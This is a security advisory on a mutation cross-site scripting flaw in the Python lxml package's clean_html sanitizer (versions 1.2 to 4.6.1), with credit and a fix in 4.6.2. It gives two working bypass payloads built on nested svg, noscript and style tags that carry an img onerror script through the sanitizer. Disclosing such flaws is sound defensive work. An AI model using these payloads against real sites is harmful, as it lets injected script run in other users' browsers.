Mutation Cross-Site Scripting In Lxml

PYTHON XSS MXSS

Yaniv Nizry Nov 27, 2020

Details Overview

Summary

The lxml python package is vulnerable to mXSS due to the use of improper parser. The parser used doesn't imitate browsers, which causes different behaviors between the sanitizer and the user's page. This can result in an arbitrary HTML/JS code execution.

Product

lxml from 1.2 up to 4.6.1

Impact

Using lxml as a sanitizer might not fulfill its purpose.

Steps To Reproduce

```
>>> from lxml.html.clean import clean_html
>>> clean_html('<svg><style><img src=x onerror=alert(1)></style></svg>')
>>> clean_html('<noscript><style><a title="</noscript><img src=x onerror=alert(1)>">')
```

Expected Result:

`<svg><style><img src=x onerror=alert(1)></style></svg>` And `<noscript><style><a title="</noscript><img src=x onerror=alert(1)>"></style></noscript>`

Remediation

Update lxml dependency to 4.6.2 or above.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher Yaniv Nizry.

Resources

1. Advisory
2. Initial commit 89e7aad
3. Additional commit a105ab8